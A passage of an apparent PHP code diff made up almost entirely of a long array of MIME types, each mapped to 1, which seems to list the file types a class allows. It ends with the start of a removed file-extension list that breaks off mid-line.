'application/vnd.adobe.fxp' => 1, 'application/vnd.adobe.xdp+xml' => 1, 'application/vnd.adobe.xfdf' => 1, 'application/vnd.ahead.space' => 1, + 'application/vnd.airzip.filesecure.azf' => 1, 'application/vnd.airzip.filesecure.azs' => 1, 'application/vnd.amazon.ebook' => 1, 'application/vnd.americandynamics.acc' => 1, + 'application/vnd.amiga.ami' => 1, 'application/vnd.android.package-archive' => 1, 'application/vnd.anser-web-certificate-issue-initiation' => 1, + 'application/vnd.anser-web-funds-transfer-initiation' => 1, 'application/vnd.antix.game-component' => 1, 'application/vnd.apple.installer+xml' => 1, + 'application/vnd.apple.mpegurl' => 1, 'application/vnd.aristanetworks.swi' => 1, 'application/vnd.astraea-software.iota' => 1, 'application/vnd.audiograph' => 1, + 'application/vnd.blueice.multipass' => 1, 'application/vnd.bmi' => 1, 'application/vnd.businessobjects' => 1, 'application/vnd.chemdraw+xml' => 1, + 'application/vnd.chipnuts.karaoke-mmd' => 1, 'application/vnd.cinderella' => 1, 'application/vnd.claymore' => 1, 'application/vnd.cloanto.rp9' => 1, + 'application/vnd.clonk.c4group' => 1, 'application/vnd.clonk.c4group' => 1, 'application/vnd.clonk.c4group' => 1, 'application/vnd.clonk.c4group' => 1, + 'application/vnd.clonk.c4group' => 1, 'application/vnd.cluetrust.cartomobile-config' => 1, 'application/vnd.cluetrust.cartomobile-config-pkg' => 1, + 'application/vnd.commonspace' => 1, 'application/vnd.contact.cmsg' => 1, 'application/vnd.cosmocaller' => 1, 'application/vnd.crick.clicker' => 1, + 'application/vnd.crick.clicker.keyboard' => 1, 'application/vnd.crick.clicker.palette' => 1, 'application/vnd.crick.clicker.template' => 1, + 'application/vnd.crick.clicker.wordbank' => 1, 'application/vnd.criticaltools.wbs+xml' => 1, 'application/vnd.ctc-posml' => 1, 'application/vnd.cups-ppd' => 1, + 'application/vnd.curl.car' => 1, 'application/vnd.curl.pcurl' => 1, 'application/vnd.dart' => 1, 'application/vnd.data-vision.rdz' => 1, 'application/vnd.dece.data' => 1, + 'application/vnd.dece.data' => 1, 'application/vnd.dece.data' => 1, 'application/vnd.dece.data' => 1, 'application/vnd.dece.ttml+xml' => 1, 'application/vnd.dece.ttml+xml' => 1, + 'application/vnd.dece.unspecified' => 1, 'application/vnd.dece.unspecified' => 1, 'application/vnd.dece.zip' => 1, 'application/vnd.dece.zip' => 1, + 'application/vnd.denovo.fcselayout-link' => 1, 'application/vnd.dna' => 1, 'application/vnd.dolby.mlp' => 1, 'application/vnd.dpgraph' => 1, 'application/vnd.dreamfactory' => 1, + 'application/vnd.ds-keypoint' => 1, 'application/vnd.dvb.ait' => 1, 'application/vnd.dvb.service' => 1, 'application/vnd.dynageo' => 1, 'application/vnd.ecowin.chart' => 1, + 'application/vnd.enliven' => 1, 'application/vnd.epson.esf' => 1, 'application/vnd.epson.msf' => 1, 'application/vnd.epson.quickanime' => 1, 'application/vnd.epson.salt' => 1, + 'application/vnd.epson.ssf' => 1, 'application/vnd.eszigno3+xml' => 1, 'application/vnd.eszigno3+xml' => 1, 'application/vnd.ezpix-album' => 1, 'application/vnd.ezpix-package' => 1, + 'application/vnd.fdf' => 1, 'application/vnd.fdsn.mseed' => 1, 'application/vnd.fdsn.seed' => 1, 'application/vnd.fdsn.seed' => 1, 'application/vnd.flographit' => 1, + 'application/vnd.fluxtime.clip' => 1, 'application/vnd.framemaker' => 1, 'application/vnd.framemaker' => 1, 'application/vnd.framemaker' => 1, 'application/vnd.framemaker' => 1, + 'application/vnd.frogans.fnc' => 1, 'application/vnd.frogans.ltf' => 1, 'application/vnd.fsc.weblaunch' => 1, 'application/vnd.fujitsu.oasys' => 1, + 'application/vnd.fujitsu.oasys2' => 1, 'application/vnd.fujitsu.oasys3' => 1, 'application/vnd.fujitsu.oasysgp' => 1, 'application/vnd.fujitsu.oasysprs' => 1, + 'application/vnd.fujixerox.ddd' => 1, 'application/vnd.fujixerox.docuworks' => 1, 'application/vnd.fujixerox.docuworks.binder' => 1, 'application/vnd.fuzzysheet' => 1, + 'application/vnd.genomatix.tuxedo' => 1, 'application/vnd.geogebra.file' => 1, 'application/vnd.geogebra.tool' => 1, 'application/vnd.geometry-explorer' => 1, + 'application/vnd.geometry-explorer' => 1, 'application/vnd.geonext' => 1, 'application/vnd.geoplan' => 1, 'application/vnd.geospace' => 1, 'application/vnd.gmx' => 1, + 'application/vnd.google-earth.kml+xml' => 1, 'application/vnd.google-earth.kmz' => 1, 'application/vnd.grafeq' => 1, 'application/vnd.grafeq' => 1, + 'application/vnd.groove-account' => 1, 'application/vnd.groove-help' => 1, 'application/vnd.groove-identity-message' => 1, 'application/vnd.groove-injector' => 1, + 'application/vnd.groove-tool-message' => 1, 'application/vnd.groove-tool-template' => 1, 'application/vnd.groove-vcard' => 1, 'application/vnd.hal+xml' => 1, + 'application/vnd.handheld-entertainment+xml' => 1, 'application/vnd.hbci' => 1, 'application/vnd.hhe.lesson-player' => 1, 'application/vnd.hp-hpgl' => 1, + 'application/vnd.hp-hpid' => 1, 'application/vnd.hp-hps' => 1, 'application/vnd.hp-jlyt' => 1, 'application/vnd.hp-pcl' => 1, 'application/vnd.hp-pclxl' => 1, + 'application/vnd.hydrostatix.sof-data' => 1, 'application/vnd.ibm.minipay' => 1, 'application/vnd.ibm.modcap' => 1, 'application/vnd.ibm.modcap' => 1, 'application/vnd.ibm.modcap' => 1, + 'application/vnd.ibm.rights-management' => 1, 'application/vnd.ibm.secure-container' => 1, 'application/vnd.iccprofile' => 1, 'application/vnd.iccprofile' => 1, + 'application/vnd.igloader' => 1, 'application/vnd.immervision-ivp' => 1, 'application/vnd.immervision-ivu' => 1, 'application/vnd.insors.igm' => 1, 'application/vnd.intercon.formnet' => 1, + 'application/vnd.intercon.formnet' => 1, 'application/vnd.intergeo' => 1, 'application/vnd.intu.qbo' => 1, 'application/vnd.intu.qfx' => 1, 'application/vnd.ipunplugged.rcprofile' => 1, + 'application/vnd.irepository.package+xml' => 1, 'application/vnd.is-xpr' => 1, 'application/vnd.isac.fcs' => 1, 'application/vnd.jam' => 1, 'application/vnd.jcp.javame.midlet-rms' => 1, + 'application/vnd.jisp' => 1, 'application/vnd.joost.joda-archive' => 1, 'application/vnd.kahootz' => 1, 'application/vnd.kahootz' => 1, 'application/vnd.kde.karbon' => 1, + 'application/vnd.kde.kchart' => 1, 'application/vnd.kde.kformula' => 1, 'application/vnd.kde.kivio' => 1, 'application/vnd.kde.kontour' => 1, 'application/vnd.kde.kpresenter' => 1, + 'application/vnd.kde.kpresenter' => 1, 'application/vnd.kde.kspread' => 1, 'application/vnd.kde.kword' => 1, 'application/vnd.kde.kword' => 1, 'application/vnd.kenameaapp' => 1, + 'application/vnd.kidspiration' => 1, 'application/vnd.kinar' => 1, 'application/vnd.kinar' => 1, 'application/vnd.koan' => 1, 'application/vnd.koan' => 1, 'application/vnd.koan' => 1, + 'application/vnd.koan' => 1, 'application/vnd.kodak-descriptor' => 1, 'application/vnd.las.las+xml' => 1, 'application/vnd.llamagraphics.life-balance.desktop' => 1, + 'application/vnd.llamagraphics.life-balance.exchange+xml' => 1, 'application/vnd.lotus-1-2-3' => 1, 'application/vnd.lotus-approach' => 1, 'application/vnd.lotus-freelance' => 1, + 'application/vnd.lotus-notes' => 1, 'application/vnd.lotus-organizer' => 1, 'application/vnd.lotus-screencam' => 1, 'application/vnd.lotus-wordpro' => 1, + 'application/vnd.macports.portpkg' => 1, 'application/vnd.mcd' => 1, 'application/vnd.medcalcdata' => 1, 'application/vnd.mediastation.cdkey' => 1, 'application/vnd.mfer' => 1, + 'application/vnd.mfmp' => 1, 'application/vnd.micrografx.flo' => 1, 'application/vnd.micrografx.igx' => 1, 'application/vnd.mif' => 1, 'application/vnd.mobius.daf' => 1, + 'application/vnd.mobius.dis' => 1, 'application/vnd.mobius.mbk' => 1, 'application/vnd.mobius.mqy' => 1, 'application/vnd.mobius.msl' => 1, 'application/vnd.mobius.plc' => 1, + 'application/vnd.mobius.txf' => 1, 'application/vnd.mophun.application' => 1, 'application/vnd.mophun.certificate' => 1, 'application/vnd.mozilla.xul+xml' => 1, + 'application/vnd.ms-artgalry' => 1, 'application/vnd.ms-cab-compressed' => 1, 'application/vnd.ms-excel' => 1, 'application/vnd.ms-excel' => 1, 'application/vnd.ms-excel' => 1, + 'application/vnd.ms-excel' => 1, 'application/vnd.ms-excel' => 1, 'application/vnd.ms-excel' => 1, 'application/vnd.ms-excel.addin.macroenabled.12' => 1, + 'application/vnd.ms-excel.sheet.binary.macroenabled.12' => 1, 'application/vnd.ms-excel.sheet.macroenabled.12' => 1, 'application/vnd.ms-excel.template.macroenabled.12' => 1, + 'application/vnd.ms-fontobject' => 1, 'application/vnd.ms-htmlhelp' => 1, 'application/vnd.ms-ims' => 1, 'application/vnd.ms-lrm' => 1, 'application/vnd.ms-officetheme' => 1, + 'application/vnd.ms-pki.seccat' => 1, 'application/vnd.ms-pki.stl' => 1, 'application/vnd.ms-powerpoint' => 1, 'application/vnd.ms-powerpoint' => 1, + 'application/vnd.ms-powerpoint' => 1, 'application/vnd.ms-powerpoint.addin.macroenabled.12' => 1, 'application/vnd.ms-powerpoint.presentation.macroenabled.12' => 1, + 'application/vnd.ms-powerpoint.slide.macroenabled.12' => 1, 'application/vnd.ms-powerpoint.slideshow.macroenabled.12' => 1, + 'application/vnd.ms-powerpoint.template.macroenabled.12' => 1, 'application/vnd.ms-project' => 1, 'application/vnd.ms-project' => 1, + 'application/vnd.ms-word.document.macroenabled.12' => 1, 'application/vnd.ms-word.template.macroenabled.12' => 1, 'application/vnd.ms-works' => 1, + 'application/vnd.ms-works' => 1, 'application/vnd.ms-works' => 1, 'application/vnd.ms-works' => 1, 'application/vnd.ms-wpl' => 1, 'application/vnd.ms-xpsdocument' => 1, + 'application/vnd.mseq' => 1, 'application/vnd.musician' => 1, 'application/vnd.muvee.style' => 1, 'application/vnd.mynfc' => 1, 'application/vnd.neurolanguage.nlu' => 1, + 'application/vnd.nitf' => 1, 'application/vnd.nitf' => 1, 'application/vnd.noblenet-directory' => 1, 'application/vnd.noblenet-sealer' => 1, 'application/vnd.noblenet-web' => 1, + 'application/vnd.nokia.n-gage.data' => 1, 'application/vnd.nokia.n-gage.symbian.install' => 1, 'application/vnd.nokia.radio-preset' => 1, 'application/vnd.nokia.radio-presets' => 1, + 'application/vnd.novadigm.edm' => 1, 'application/vnd.novadigm.edx' => 1, 'application/vnd.novadigm.ext' => 1, 'application/vnd.oasis.opendocument.chart' => 1, + 'application/vnd.oasis.opendocument.chart-template' => 1, 'application/vnd.oasis.opendocument.database' => 1, 'application/vnd.oasis.opendocument.formula' => 1, + 'application/vnd.oasis.opendocument.formula-template' => 1, 'application/vnd.oasis.opendocument.graphics' => 1, 'application/vnd.oasis.opendocument.graphics-template' => 1, + 'application/vnd.oasis.opendocument.image' => 1, 'application/vnd.oasis.opendocument.image-template' => 1, 'application/vnd.oasis.opendocument.presentation' => 1, + 'application/vnd.oasis.opendocument.presentation-template' => 1, 'application/vnd.oasis.opendocument.spreadsheet' => 1, 'application/vnd.oasis.opendocument.spreadsheet-template' => 1, + 'application/vnd.oasis.opendocument.text' => 1, 'application/vnd.oasis.opendocument.text-master' => 1, 'application/vnd.oasis.opendocument.text-template' => 1, + 'application/vnd.oasis.opendocument.text-web' => 1, 'application/vnd.olpc-sugar' => 1, 'application/vnd.oma.dd2+xml' => 1, 'application/vnd.openofficeorg.extension' => 1, + 'application/vnd.openxmlformats-officedocument.presentationml.presentation' => 1, 'application/vnd.openxmlformats-officedocument.presentationml.slide' => 1, + 'application/vnd.openxmlformats-officedocument.presentationml.slideshow' => 1, 'application/vnd.openxmlformats-officedocument.presentationml.template' => 1, + 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => 1, 'application/vnd.openxmlformats-officedocument.spreadsheetml.template' => 1, + 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => 1, 'application/vnd.openxmlformats-officedocument.wordprocessingml.template' => 1, + 'application/vnd.osgeo.mapguide.package' => 1, 'application/vnd.osgi.dp' => 1, 'application/vnd.osgi.subsystem' => 1, 'application/vnd.palm' => 1, 'application/vnd.palm' => 1, + 'application/vnd.palm' => 1, 'application/vnd.pawaafile' => 1, 'application/vnd.pg.format' => 1, 'application/vnd.pg.osasli' => 1, 'application/vnd.picsel' => 1, 'application/vnd.pmi.widget' => 1, + 'application/vnd.pocketlearn' => 1, 'application/vnd.powerbuilder6' => 1, 'application/vnd.previewsystems.box' => 1, 'application/vnd.proteus.magazine' => 1, + 'application/vnd.publishare-delta-tree' => 1, 'application/vnd.pvi.ptid1' => 1, 'application/vnd.quark.quarkxpress' => 1, 'application/vnd.quark.quarkxpress' => 1, + 'application/vnd.quark.quarkxpress' => 1, 'application/vnd.quark.quarkxpress' => 1, 'application/vnd.quark.quarkxpress' => 1, 'application/vnd.quark.quarkxpress' => 1, + 'application/vnd.realvnc.bed' => 1, 'application/vnd.recordare.musicxml' => 1, 'application/vnd.recordare.musicxml+xml' => 1, 'application/vnd.rig.cryptonote' => 1, + 'application/vnd.rim.cod' => 1, 'application/vnd.rn-realmedia' => 1, 'application/vnd.rn-realmedia-vbr' => 1, 'application/vnd.route66.link66+xml' => 1, 'application/vnd.sailingtracker.track' => 1, + 'application/vnd.seemail' => 1, 'application/vnd.sema' => 1, 'application/vnd.semd' => 1, 'application/vnd.semf' => 1, 'application/vnd.shana.informed.formdata' => 1, + 'application/vnd.shana.informed.formtemplate' => 1, 'application/vnd.shana.informed.interchange' => 1, 'application/vnd.shana.informed.package' => 1, 'application/vnd.simtech-mindmapper' => 1, + 'application/vnd.simtech-mindmapper' => 1, 'application/vnd.smaf' => 1, 'application/vnd.smart.teacher' => 1, 'application/vnd.solent.sdkm+xml' => 1, 'application/vnd.solent.sdkm+xml' => 1, + 'application/vnd.spotfire.dxp' => 1, 'application/vnd.spotfire.sfs' => 1, 'application/vnd.stardivision.calc' => 1, 'application/vnd.stardivision.draw' => 1, + 'application/vnd.stardivision.impress' => 1, 'application/vnd.stardivision.math' => 1, 'application/vnd.stardivision.writer' => 1, 'application/vnd.stardivision.writer' => 1, + 'application/vnd.stardivision.writer-global' => 1, 'application/vnd.stepmania.package' => 1, 'application/vnd.stepmania.stepchart' => 1, 'application/vnd.sun.xml.calc' => 1, + 'application/vnd.sun.xml.calc.template' => 1, 'application/vnd.sun.xml.draw' => 1, 'application/vnd.sun.xml.draw.template' => 1, 'application/vnd.sun.xml.impress' => 1, + 'application/vnd.sun.xml.impress.template' => 1, 'application/vnd.sun.xml.math' => 1, 'application/vnd.sun.xml.writer' => 1, 'application/vnd.sun.xml.writer.global' => 1, + 'application/vnd.sun.xml.writer.template' => 1, 'application/vnd.sus-calendar' => 1, 'application/vnd.sus-calendar' => 1, 'application/vnd.svd' => 1, 'application/vnd.symbian.install' => 1, + 'application/vnd.symbian.install' => 1, 'application/vnd.syncml+xml' => 1, 'application/vnd.syncml.dm+wbxml' => 1, 'application/vnd.syncml.dm+xml' => 1, + 'application/vnd.tao.intent-module-archive' => 1, 'application/vnd.tcpdump.pcap' => 1, 'application/vnd.tcpdump.pcap' => 1, 'application/vnd.tcpdump.pcap' => 1, + 'application/vnd.tmobile-livetv' => 1, 'application/vnd.trid.tpt' => 1, 'application/vnd.triscape.mxs' => 1, 'application/vnd.trueapp' => 1, 'application/vnd.ufdl' => 1, 'application/vnd.ufdl' => 1, + 'application/vnd.uiq.theme' => 1, 'application/vnd.umajin' => 1, 'application/vnd.unity' => 1, 'application/vnd.uoml+xml' => 1, 'application/vnd.vcx' => 1, 'application/vnd.visio' => 1, + 'application/vnd.visio' => 1, 'application/vnd.visio' => 1, 'application/vnd.visio' => 1, 'application/vnd.visionary' => 1, 'application/vnd.vsf' => 1, 'application/vnd.wap.wbxml' => 1, + 'application/vnd.wap.wmlc' => 1, 'application/vnd.wap.wmlscriptc' => 1, 'application/vnd.webturbo' => 1, 'application/vnd.wolfram.player' => 1, 'application/vnd.wordperfect' => 1, + 'application/vnd.wqd' => 1, 'application/vnd.wt.stf' => 1, 'application/vnd.xara' => 1, 'application/vnd.xfdl' => 1, 'application/vnd.yamaha.hv-dic' => 1, 'application/vnd.yamaha.hv-script' => 1, + 'application/vnd.yamaha.hv-voice' => 1, 'application/vnd.yamaha.openscoreformat' => 1, 'application/vnd.yamaha.openscoreformat.osfpvg+xml' => 1, 'application/vnd.yamaha.smaf-audio' => 1, + 'application/vnd.yamaha.smaf-phrase' => 1, 'application/vnd.yellowriver-custom-menu' => 1, 'application/vnd.zul' => 1, 'application/vnd.zul' => 1, 'application/vnd.zzazz.deck+xml' => 1, + 'application/voicexml+xml' => 1, 'application/widget' => 1, 'application/winhlp' => 1, 'application/wsdl+xml' => 1, 'application/wspolicy+xml' => 1, 'application/x-7z-compressed' => 1, + 'application/x-abiword' => 1, 'application/x-ace-compressed' => 1, 'application/x-apple-diskimage' => 1, 'application/x-authorware-bin' => 1, 'application/x-authorware-bin' => 1, + 'application/x-authorware-bin' => 1, 'application/x-authorware-bin' => 1, 'application/x-authorware-map' => 1, 'application/x-authorware-seg' => 1, 'application/x-bcpio' => 1, + 'application/x-bittorrent' => 1, 'application/x-blorb' => 1, 'application/x-blorb' => 1, 'application/x-bzip' => 1, 'application/x-bzip2' => 1, 'application/x-bzip2' => 1, 'application/x-cbr' => 1, + 'application/x-cbr' => 1, 'application/x-cbr' => 1, 'application/x-cbr' => 1, 'application/x-cbr' => 1, 'application/x-cdlink' => 1, 'application/x-cfs-compressed' => 1, 'application/x-chat' => 1, + 'application/x-chess-pgn' => 1, 'application/x-conference' => 1, 'application/x-cpio' => 1, 'application/x-csh' => 1, 'application/x-debian-package' => 1, 'application/x-debian-package' => 1, + 'application/x-dgc-compressed' => 1, 'application/x-director' => 1, 'application/x-director' => 1, 'application/x-director' => 1, 'application/x-director' => 1, 'application/x-director' => 1, + 'application/x-director' => 1, 'application/x-director' => 1, 'application/x-director' => 1, 'application/x-director' => 1, 'application/x-doom' => 1, 'application/x-dtbncx+xml' => 1, + 'application/x-dtbook+xml' => 1, 'application/x-dtbresource+xml' => 1, 'application/x-dvi' => 1, 'application/x-envoy' => 1, 'application/x-eva' => 1, 'application/x-font-bdf' => 1, + 'application/x-font-ghostscript' => 1, 'application/x-font-linux-psf' => 1, 'application/x-font-otf' => 1, 'application/x-font-pcf' => 1, 'application/x-font-snf' => 1, + 'application/x-font-ttf' => 1, 'application/x-font-ttf' => 1, 'application/x-font-type1' => 1, 'application/x-font-type1' => 1, 'application/x-font-type1' => 1, 'application/x-font-type1' => 1, + 'application/x-font-woff' => 1, 'application/x-freearc' => 1, 'application/x-futuresplash' => 1, 'application/x-gca-compressed' => 1, 'application/x-glulx' => 1, 'application/x-gnumeric' => 1, + 'application/x-gramps-xml' => 1, 'application/x-gtar' => 1, 'application/x-hdf' => 1, 'application/x-install-instructions' => 1, 'application/x-iso9660-image' => 1, + 'application/x-java-jnlp-file' => 1, 'application/x-latex' => 1, 'application/x-lzh-compressed' => 1, 'application/x-lzh-compressed' => 1, 'application/x-mie' => 1, + 'application/x-mobipocket-ebook' => 1, 'application/x-mobipocket-ebook' => 1, 'application/x-ms-application' => 1, 'application/x-ms-shortcut' => 1, 'application/x-ms-wmd' => 1, + 'application/x-ms-wmz' => 1, 'application/x-ms-xbap' => 1, 'application/x-msaccess' => 1, 'application/x-msbinder' => 1, 'application/x-mscardfile' => 1, 'application/x-msclip' => 1, + 'application/x-msdownload' => 1, 'application/x-msdownload' => 1, 'application/x-msdownload' => 1, 'application/x-msdownload' => 1, 'application/x-msdownload' => 1, 'application/x-msmediaview' => 1, + 'application/x-msmediaview' => 1, 'application/x-msmediaview' => 1, 'application/x-msmetafile' => 1, 'application/x-msmetafile' => 1, 'application/x-msmetafile' => 1, 'application/x-msmetafile' => 1, + 'application/x-msmoney' => 1, 'application/x-mspublisher' => 1, 'application/x-msschedule' => 1, 'application/x-msterminal' => 1, 'application/x-mswrite' => 1, 'application/x-netcdf' => 1, + 'application/x-netcdf' => 1, 'application/x-nzb' => 1, 'application/x-pkcs12' => 1, 'application/x-pkcs12' => 1, 'application/x-pkcs7-certificates' => 1, 'application/x-pkcs7-certificates' => 1, + 'application/x-pkcs7-certreqresp' => 1, 'application/x-rar-compressed' => 1, 'application/x-research-info-systems' => 1, 'application/x-sh' => 1, 'application/x-shar' => 1, + 'application/x-shockwave-flash' => 1, 'application/x-silverlight-app' => 1, 'application/x-silverlight-2' => 1, 'application/x-sql' => 1, 'application/x-stuffit' => 1, 'application/x-stuffitx' => 1, + 'application/x-subrip' => 1, 'application/x-sv4cpio' => 1, 'application/x-sv4crc' => 1, 'application/x-t3vm-image' => 1, 'application/x-tads' => 1, 'application/x-tar' => 1, 'application/x-tcl' => 1, + 'application/x-tex' => 1, 'application/x-tex-tfm' => 1, 'application/x-texinfo' => 1, 'application/x-texinfo' => 1, 'application/x-tgif' => 1, 'application/x-ustar' => 1, 'application/x-wais-source' => 1, + 'application/x-x509-ca-cert' => 1, 'application/x-x509-ca-cert' => 1, 'application/x-xfig' => 1, 'application/x-xliff+xml' => 1, 'application/x-xpinstall' => 1, 'application/x-xz' => 1, + 'application/x-zmachine' => 1, 'application/x-zmachine' => 1, 'application/x-zmachine' => 1, 'application/x-zmachine' => 1, 'application/x-zmachine' => 1, 'application/x-zmachine' => 1, + 'application/x-zmachine' => 1, 'application/x-zmachine' => 1, 'application/xaml+xml' => 1, 'application/xcap-diff+xml' => 1, 'application/xenc+xml' => 1, 'application/xhtml+xml' => 1, + 'application/xhtml+xml' => 1, 'application/xml' => 1, 'application/xml' => 1, 'application/xml-dtd' => 1, 'application/xop+xml' => 1, 'application/xproc+xml' => 1, 'application/xslt+xml' => 1, + 'application/xspf+xml' => 1, 'application/xv+xml' => 1, 'application/xv+xml' => 1, 'application/xv+xml' => 1, 'application/xv+xml' => 1, 'application/yang' => 1, 'application/yin+xml' => 1, + 'application/zip' => 1, 'audio/adpcm' => 1, 'audio/basic' => 1, 'audio/basic' => 1, 'audio/midi' => 1, 'audio/midi' => 1, 'audio/midi' => 1, 'audio/midi' => 1, 'audio/mp4' => 1, 'audio/mpeg' => 1, + 'audio/mpeg' => 1, 'audio/mpeg' => 1, 'audio/mpeg' => 1, 'audio/mpeg' => 1, 'audio/mpeg' => 1, 'audio/ogg' => 1, 'audio/ogg' => 1, 'audio/ogg' => 1, 'audio/s3m' => 1, 'audio/silk' => 1, + 'audio/vnd.dece.audio' => 1, 'audio/vnd.dece.audio' => 1, 'audio/vnd.digital-winds' => 1, 'audio/vnd.dra' => 1, 'audio/vnd.dts' => 1, 'audio/vnd.dts.hd' => 1, 'audio/vnd.lucent.voice' => 1, + 'audio/vnd.ms-playready.media.pya' => 1, 'audio/vnd.nuera.ecelp4800' => 1, 'audio/vnd.nuera.ecelp7470' => 1, 'audio/vnd.nuera.ecelp9600' => 1, 'audio/vnd.rip' => 1, 'audio/webm' => 1, + 'audio/x-aac' => 1, 'audio/x-aiff' => 1, 'audio/x-aiff' => 1, 'audio/x-aiff' => 1, 'audio/x-caf' => 1, 'audio/x-flac' => 1, 'audio/x-matroska' => 1, 'audio/x-mpegurl' => 1, 'audio/x-ms-wax' => 1, + 'audio/x-ms-wma' => 1, 'audio/x-pn-realaudio' => 1, 'audio/x-pn-realaudio' => 1, 'audio/x-pn-realaudio-plugin' => 1, 'audio/x-wav' => 1, 'audio/xm' => 1, 'chemical/x-cdx' => 1, 'chemical/x-cif' => 1, + 'chemical/x-cmdf' => 1, 'chemical/x-cml' => 1, 'chemical/x-csml' => 1, 'chemical/x-xyz' => 1, 'image/bmp' => 1, 'image/cgm' => 1, 'image/g3fax' => 1, 'image/gif' => 1, 'image/ief' => 1, 'image/jpeg' => 1, + 'image/jpeg' => 1, 'image/jpeg' => 1, 'image/ktx' => 1, 'image/png' => 1, 'image/prs.btif' => 1, 'image/sgi' => 1, 'image/svg+xml' => 1, 'image/svg+xml' => 1, 'image/tiff' => 1, 'image/tiff' => 1, + 'image/vnd.adobe.photoshop' => 1, 'image/vnd.dece.graphic' => 1, 'image/vnd.dece.graphic' => 1, 'image/vnd.dece.graphic' => 1, 'image/vnd.dece.graphic' => 1, 'image/vnd.dvb.subtitle' => 1, + 'image/vnd.djvu' => 1, 'image/vnd.djvu' => 1, 'image/vnd.dwg' => 1, 'image/vnd.dxf' => 1, 'image/vnd.fastbidsheet' => 1, 'image/vnd.fpx' => 1, 'image/vnd.fst' => 1, 'image/vnd.fujixerox.edmics-mmr' => 1, + 'image/vnd.fujixerox.edmics-rlc' => 1, 'image/vnd.ms-modi' => 1, 'image/vnd.ms-photo' => 1, 'image/vnd.net-fpx' => 1, 'image/vnd.wap.wbmp' => 1, 'image/vnd.xiff' => 1, 'image/webp' => 1, + 'image/x-3ds' => 1, 'image/x-cmu-raster' => 1, 'image/x-cmx' => 1, 'image/x-freehand' => 1, 'image/x-freehand' => 1, 'image/x-freehand' => 1, 'image/x-freehand' => 1, 'image/x-freehand' => 1, + 'image/x-icon' => 1, 'image/x-mrsid-image' => 1, 'image/x-pcx' => 1, 'image/x-pict' => 1, 'image/x-pict' => 1, 'image/x-portable-anymap' => 1, 'image/x-portable-bitmap' => 1, + 'image/x-portable-graymap' => 1, 'image/x-portable-pixmap' => 1, 'image/x-rgb' => 1, 'image/x-tga' => 1, 'image/x-xbitmap' => 1, 'image/x-xpixmap' => 1, 'image/x-xwindowdump' => 1, + 'message/rfc822' => 1, 'message/rfc822' => 1, 'model/iges' => 1, 'model/iges' => 1, 'model/mesh' => 1, 'model/mesh' => 1, 'model/mesh' => 1, 'model/vnd.collada+xml' => 1, 'model/vnd.dwf' => 1, + 'model/vnd.gdl' => 1, 'model/vnd.gtw' => 1, 'model/vnd.mts' => 1, 'model/vnd.vtu' => 1, 'model/vrml' => 1, 'model/vrml' => 1, 'model/x3d+binary' => 1, 'model/x3d+binary' => 1, 'model/x3d+vrml' => 1, + 'model/x3d+vrml' => 1, 'model/x3d+xml' => 1, 'model/x3d+xml' => 1, 'video/3gpp' => 1, 'video/3gpp2' => 1, 'video/h261' => 1, 'video/h263' => 1, 'video/h264' => 1, 'video/jpeg' => 1, 'video/jpm' => 1, + 'video/jpm' => 1, 'video/mj2' => 1, 'video/mj2' => 1, 'video/mp4' => 1, 'video/mp4' => 1, 'video/mp4' => 1, 'video/mpeg' => 1, 'video/mpeg' => 1, 'video/mpeg' => 1, 'video/mpeg' => 1, 'video/mpeg' => 1, + 'video/ogg' => 1, 'video/quicktime' => 1, 'video/quicktime' => 1, 'video/vnd.dece.hd' => 1, 'video/vnd.dece.hd' => 1, 'video/vnd.dece.mobile' => 1, 'video/vnd.dece.mobile' => 1, 'video/vnd.dece.pd' => 1, + 'video/vnd.dece.pd' => 1, 'video/vnd.dece.sd' => 1, 'video/vnd.dece.sd' => 1, 'video/vnd.dece.video' => 1, 'video/vnd.dece.video' => 1, 'video/vnd.dvb.file' => 1, 'video/vnd.fvt' => 1, + 'video/vnd.mpegurl' => 1, 'video/vnd.mpegurl' => 1, 'video/vnd.ms-playready.media.pyv' => 1, 'video/vnd.uvvu.mp4' => 1, 'video/vnd.uvvu.mp4' => 1, 'video/vnd.vivo' => 1, 'video/webm' => 1, + 'video/x-f4v' => 1, 'video/x-fli' => 1, 'video/x-flv' => 1, 'video/x-m4v' => 1, 'video/x-matroska' => 1, 'video/x-matroska' => 1, 'video/x-matroska' => 1, 'video/x-mng' => 1, 'video/x-ms-asf' => 1, + 'video/x-ms-asf' => 1, 'video/x-ms-vob' => 1, 'video/x-ms-wm' => 1, 'video/x-ms-wmv' => 1, 'video/x-ms-wmx' => 1, 'video/x-ms-wvx' => 1, 'video/x-msvideo' => 1, 'video/x-sgi-movie' => 1, + 'video/x-smv' => 1, 'x-conference/x-cooltalk' => 1 ); - var $extList = array('ez'=>1, 'aw'=>1, 'atom'=>1, 'atomcat'=>1, 'atomsvc'=>1, 'ccxml'=>1, 'cdmia'=>1, 'cdmic'=>1, 'cdmid'=>1, 'cdmio'=>1, 'cdmiq'=>1, 'cu'=>1, 'davmount'=>1, - 'dbk'=>1, 'dssc'=>1, 'xdssc'=>1, 'ecma'=>1, 'emma'=>1, 'epub'=>1, 'exi'=>1, 'pfr'=>1, 'gml'=>1, 'gpx'=>1, 'gxf'=>1, 'stk'=>1, 'ink'=>1, 'inkml'=>1, 'ipfix'=>1, 'jar'=>1, - 'ser'=>1, 'class'=>1, 'js'=>1, 'json'=>1, 'jsonml'=>1, 'lostxml'=>1, 'hqx'=>1, 'cpt'=>1, 'mads'=>1, 'mrc'=>1, 'mrcx'=>1, 'ma'=>1, 'nb'=>1, 'mb'=>1, 'mathml'=>1, 'mbox'=>1, - 'mscml'=>1, 'metalink'=>1, 'meta4'=>1, 'mets'=>1, 'mods'=>1, 'm21 mp21'=>1, 'mp4s'=>1, 'doc dot'=>1, 'mxf'=>1, 'bin'=>1, 'dms'=>1, 'lrf'=>1, 'mar'=>1, 'so'=>1, 'dist'=>1, - 'distz'=>1, 'pkg'=>1, 'bpk'=>1, 'dump'=>1, 'elc'=>1, 'deploy'=>1, 'oda'=>1, 'opf'=>1, 'ogx'=>1, 'omdoc'=>1, 'onetoc'=>1, 'onetoc2'=>1, 'onetmp'=>1, 'onepkg'=>1, 'oxps'=>1, - 'xer'=>1, 'pdf'=>1, 'pgp'=>1, 'asc'=>1, 'sig'=>1, 'prf'=>1, 'p10'=>1, 'p7m'=>1, 'p7c'=>1, 'p7s'=>1, 'p8'=>1, 'ac'=>1, 'cer'=>1, 'crl'=>1, 'pkipath'=>1, 'pki'=>1, 'pls'=>1, - 'ai'=>1, 'eps'=>1, 'ps'=>1, 